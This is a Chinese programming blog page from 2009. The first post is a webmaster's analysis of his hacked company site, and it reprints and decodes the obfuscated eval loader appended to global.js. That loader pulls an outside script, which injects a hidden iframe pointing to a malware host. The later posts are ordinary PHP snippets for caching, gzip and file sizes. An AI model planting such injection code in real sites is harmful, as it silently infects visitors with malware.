分类 网页与编程 中的文章

公司网站被挂马

今天登录公司网站后台,超级巡警报警说有木马,郁闷,最近怎么这么倒霉,检查了一下发现是 global.js 文件被修改了,在底部加了代码如下:

JavaScript代码

  1. function goad(){var Then = new Date()    

  2. Then.setTime(Then.getTime() + 24*60*60*1000)   

  3. var cookieString = new String(document.cookie)   

  4. var cookieHeader = "Cookie1="    

  5. var beginPosition = cookieString.indexOf(cookieHeader)   

  6. if (beginPosition != -1){ } else { document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()   

  7. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.a(\'<6 7=3://9.0.1/5/8.4></6>\')',62,11,'chinaw3|com|document|http|js|s|script|src|ss|ufy9g1|writeln'.split('|'),0,{}));window.status="final";}}goad();   

 把 eval() 这一段拿出来解成正常格式

JavaScript代码

  1. eval(function(p, a, c, k, e, d) {   

  2.     e = function(c) {   

  3.         return (c < a ? '': e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))   

  4.     };   

  5.     if (!''.replace(/^/, String)) {   

  6.         while (c--) d[e(c)] = k[c] || e(c);   

  7.         k = [function(e) {   

  8.             return d[e]   

  9.         }];   

  10.         e = function() {   

  11.             return '\\w+'  

  12.         };   

  13.         c = 1   

  14.     };   

  15.     while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b''g'), k[c]);   

  16.     return p   

  17. } ('2.a(\'<6 7=3://9.0.1/5/8.4></6>\')', 62, 11, 'chinaw3|com|document|http|js|s|script|src|ss|ufy9g1|writeln'.split('|'), 0, {}));   

  18. window.status = "final";   

  19. }   

  20. }   

  21. goad();  

看这一段
<6 7=3://9.0.1/5/8.4></6>
还有这一段
'chinaw3|com|document|http|js|s|script|src|ss|ufy9g1|writeln'
根据我自己猜想,它应该是按照数据排序把第一段里面的数字替换了,那么从 chinaw3 为 [0] 的开始依次替换数字就是
<script src=http://ufy9g1.chinaw3.com/s/ss.js></script>
原来是引用了站外的一个脚本文件 http://ufy9g1.chinaw3.com/s/ss.js
下载这个文件,内容是:

JavaScript代码

  1. document.writeln("<iframe width=100 height=0 src=http:\/\/klawesd.cn:6868\/b174152\/b17.htm><\/iframe>")   

  2. // A Popular Free Statistics Service for 200 000+ Webmasters.    

  3. var a1339tf="51la";var a1339pu="";var a1339pf="51la";var a1339su=window.location;var a1339sf=document.referrer;var a1339of="";var a1339op="";var a1339ops=1;var a1339ot=1;var a1339d=new Date();var a1339color="";if (navigator.appName=="Netscape"){a1339color=screen.pixelDepth;} else {a1339color=screen.colorDepth;}   

  4. try{a1339tf=top.document.referrer;}catch(e){}   

  5. try{a1339pu =window.parent.location;}catch(e){}   

  6. try{a1339pf=window.parent.document.referrer;}catch(e){}   

  7. try{a1339ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a1339ops=(a1339ops==null)?1: (parseInt(unescape((a1339ops)[2]))+1);var a1339oe =new Date();a1339oe.setTime(a1339oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a1339ops+ ";path=/;expires="+a1339oe.toGMTString();a1339ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a1339ot==null){a1339ot=1;}else{a1339ot=parseInt(unescape((a1339ot)[2])); a1339ot=(a1339ops==1)?(a1339ot+1):(a1339ot);}a1339oe.setTime(a1339oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a1339ot+";path=/;expires="+a1339oe.toGMTString();}catch(e){}   

  8. a1339of=a1339sf;if(a1339pf!=="51la"){a1339of=a1339pf;}if(a1339tf!=="51la"){a1339of=a1339tf;}a1339op=a1339pu;try{lainframe}catch(e){a1339op=a1339su;}document.write('<img style="width:0px;height:0px" src="http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=47&id=2481339&tpages='+a1339ops+'&ttimes='+a1339ot+'&tzone='+(0-a1339d.getTimezoneOffset()/60)+'&tcolor='+a1339color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a1339of)+'&vpage='+escape(a1339op)+'" />');   

  9. document.writeln("<script type=\"text\/javascript\" src=\"http:\/\/js.tongji.cn.yahoo.com\/866793\/ystat.js\"><\/script><noscript><a href=\"http:\/\/tongji.cn.yahoo.com\"><img src=\"http:\/\/img.tongji.cn.yahoo.com\/866793\/ystat.gif\"\/><\/a><\/noscript>");   

  10.   

  11. document.writeln("<a href=\"index.html\"><img src=\'http:\/\/phiex.vicp.net:8080\/count.asp?Referer=<%=Refer%>&Width=\"+escape(screen.width)+\"&Height=\"+escape(screen.height)+\"\' border=0 width=0 height=0><\/a>");   

结果发现里面嵌的全部都是统计,我郁闷,这个应该不会有木马啊,我再找,可是怎么找都找不到,看里面一个网页文件是: http://klawesd.cn:6868/b174152/b17.htm 上面的 b174152, 难道利用的是这个漏洞,现在我才感觉到及时补漏洞的重要性.另外在网上查了这个文件 http://ufy9g1.chinaw3.com/s/ss.js 网上说是下载了 http://yasws-05.cn/35/35.exe 些文件,下载下来之后,杀毒软件就报警了
难道就是这个sequence: Packed/Upack? 我太郁闷了,是怎么挂上去的呢?我得查查,毕竟偶不是搞黑客这块,真的很郁闷.

Pader 2009-5-4 0

PHP缓存类更新

缓存真的是个好东西,好玩又有趣.

PHP代码
  1. <?php   
  2. /*  
  3.     常量 CACHE_DIR 定义缓存文件所在目录  
  4. */  
  5.   
  6. define('CACHE_DIR','/data/cache');   
  7.   
  8. class cache {   
  9.     var $cache = array();   
  10.            
  11.     //获取缓存   
  12.     function getCache($cacheName) {   
  13.         if(!array_key_exists($cacheName,$this->cache)) {   
  14.             include $this->cacheFile($cacheName);   
  15.             $this->cache[$cacheName] = $cache[$cacheName];   
  16.         }   
  17.         return $this->cache[$cacheName];   
  18.     }   
  19.   
  20.     //存储缓存   
  21.     function saveCache($cacheName,$cacheVar){   
  22.         $cacheCode = "<?php\r\n//Cache create at ".date('Y-m-d H:i:s')."\r\n";   
  23.         $cacheCode .= '$cache[\''.$cacheName.'\'] = ';   
  24.         $cacheCode .= $this->createVarCode($cacheVar);   
  25.         $cacheCode .= ";\r\n";   
  26.         return $this->writeFile($this->cacheFile($cacheName),$cacheCode) ? true : false;   
  27.     }   
  28.   
  29.     //创建缓存变量原生态代码   
  30.     function createVarCode($myVar,$level=0) {   
  31.         $tabEnd = '';   
  32.         for($i=0;$i<$level;$i++) {   
  33.             $tabEnd .= "\t";   
  34.         }   
  35.         $tab = $tabEnd."\t";   
  36.         if(is_array($myVar)) {   
  37.             $varCode = "array(\r\n";   
  38.             foreach($myVar as $key => $val) {   
  39.                 $key = is_numeric($key) ? $key : '\''.$key.'\'';   
  40.                 if(is_array($val)) {   
  41.                     $varCode .= $tab.$key.' => '.$this->createVarCode($val,$level + 1);   
  42.                 } else {   
  43.                     $varCode .= $tab.$key.' => \''.$this->addslashes($val).'\'';   
  44.                 }   
  45.                 $varCode .= ",\r\n";   
  46.             }   
  47.             if($myVar) {   
  48.                 $varCode = substr_replace($varCode,'',-3,1)."$tabEnd)";   
  49.             }   
  50.         } else {   
  51.             $varCode = '\''.$this->addslashes($myVar).'\'';   
  52.         }   
  53.         return $varCode;   
  54.     }   
  55.        
  56.     function addslashes($text) {   
  57.         $text = addcslashes($text,'\\');  
  58.         $text = addcslashes($text,'\'');   
  59.         return $text;   
  60.     }   
  61.   
  62.     //返回缓存文件地址   
  63.     function cacheFile($cacheName) {   
  64.         $cacheFile = CACHE_DIR.'/'.$cacheName.'.php';   
  65.         return $cacheFile;   
  66.     }   
  67.   
  68.     //判断缓存文件是否存在   
  69.     function cacheExists($cacheName) {   
  70.         $state = file_exists($this->cacheFile($cacheName));   
  71.         return $state;   
  72.     }   
  73.        
  74.     function deleteCache($cacheName) {   
  75.         return @unlink($this->cacheFile($cacheName)) ? true : false;   
  76.     }   
  77.   
  78.     function printCache() {   
  79.         print_r($this->cache);   
  80.     }   
  81.   
  82.     //写文件   
  83.     function writeFile($fileName,$content,$wmode='w'){   
  84.         $s = false;   
  85.         if($fp = @fopen($fileName,$wmode)) {   
  86.             if(flock($fp,LOCK_EX)) {   
  87.                 $s = @fwrite($fp,$content) ? true : false;    
  88.                 flock($fp,LOCK_UN);   
  89.                 fclose($fp);   
  90.             }   
  91.         }   
  92.         return $s;   
  93.     }   
  94. }   

加上这个函数

PHP代码
  1. //从缓存获取并处理   
  2. function GetCache($cacheName,$func='') {   
  3.     global $cache;   
  4.     !defined('CACHE_FUNC') && require_once API('cache_function');   
  5.     if($cache->cacheExists($cacheName)) {   
  6.         $thisCache = $cache->getCache($cacheName);   
  7.     } elseif($func) {   
  8.         eval($func.'();');   
  9.         exit('缓存 <b>'.$cacheName.'</b> 未能找到,系统已经更新,请刷新页面!');   
  10.     }   
  11.     return $thisCache;   
  12. }  

这样子调用

PHP代码
  1. $settings = GetCache('settings','cache_reload_settings');  //从缓存获取设置  

我们先定义了一个函灵敏 cache_reload_settings() ,这样 GetCache  函数会先从缓存获取,没有的话就会调用 cache_reload_settings() 函数更新缓存,其实PHP的 var_export 函数让我很郁闷.

Look:

PHP代码
  1. /*  
  2.     缓存更新函数模块  
  3.     14:25 2009-4-20  
  4. */  
  5. define('CACHE_FUNC',true);   
  6.   
  7. if(!defined('CACHE_DIR')) {   
  8.     require_once API('cache');   
  9. }   
  10.   
  11. if(!$cache) {   
  12.     $cache = new cache;   
  13. }   
  14.   
  15. function cache_reload_settings() {   
  16.     global $db,$cache;   
  17.     $settings = array();   
  18.     $result = $db->query("SELECT * FROM hl_settings");   
  19.     while($row = $db->fetchArray($result)) {   
  20.         $settings[$row['n']] = $row['v'];   
  21.     }   
  22.     $cache->saveCache('settings',$settings);   
  23. }  
Pader 2009-4-29 0

PHP 使用 Gzip 压缩

突然要用到,在这里记一下.  

PHP代码
  1. function ob_gzip($content) {  //GZip压缩函数,放在 ob_start() 内,如 ob_start('ob_gzip')  !headers_sent()   
  2.     if(extension_loaded('zlib')    
  3.         && strstr($_SERVER['HTTP_ACCEPT_ENCODING'],'gzip')) {   
  4.         $content = gzencode($content."\r\n<!-- GZip Encode -->",5);   
  5.         header('Content-Encoding: gzip');    
  6.         header('Vary: Accept-Encoding');   
  7.         header('Content-Length: '.strlen($content));   
  8.     }   
  9.     return $content;   
  10. }   
  11.   
  12. ob_start('ob_gzip');  
Pader 2009-4-27 0

PHP强制浏览器缓存文件以加速浏览

我们通常都会想让浏览器不要缓存PHP的输出以保持更新,以下就是强制不缓存:

PHP代码
  1. header("Cache-Control: no-cache, must-revalidate");   
  2. header("Pragma: no-cache");  

今天在修改我的 OneExplorer 的时候,因为图标都是以 base64 编码嵌入在PHP文件中然后解码输出,所以如果能够把同样的输出强制缓存起来,便可以从很大程度上的提高访问速度并且减轻服务器负担。发现网上关于强制缓存的讨论很少,大都是强制不缓存,看下面的代码:

PHP代码
  1. header("Cache-Control: public");   
  2. header("Pragma: cache");   
  3. $offset = 60*60*24;  //强制缓一天   
  4. $ExpStr = "Expires: ".gmdate("D, d M Y H:i:s", time() + $offset)." GMT";   
  5. header($ExpStr);  

这样我们就可以强制把输出缓存一天,只要浏览的地址不变,就会一直从缓存读取。
[attach=151]
浏览器的临时文件夹,仔细看 截止期限 上次检查时间

Pader 2009-4-24 0

php 文件大小单位输出函数

PHP代码
  1. function convertFileSize($size) {   
  2.     $filesizename = array(" Bytes"" KB"" MB"" GB"" TB"" PB"" EB"" ZB"" YB");   
  3.     return $size ? round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $filesizename[$i] : '0 Bytes';   
  4. }  
Pader 2009-4-23 0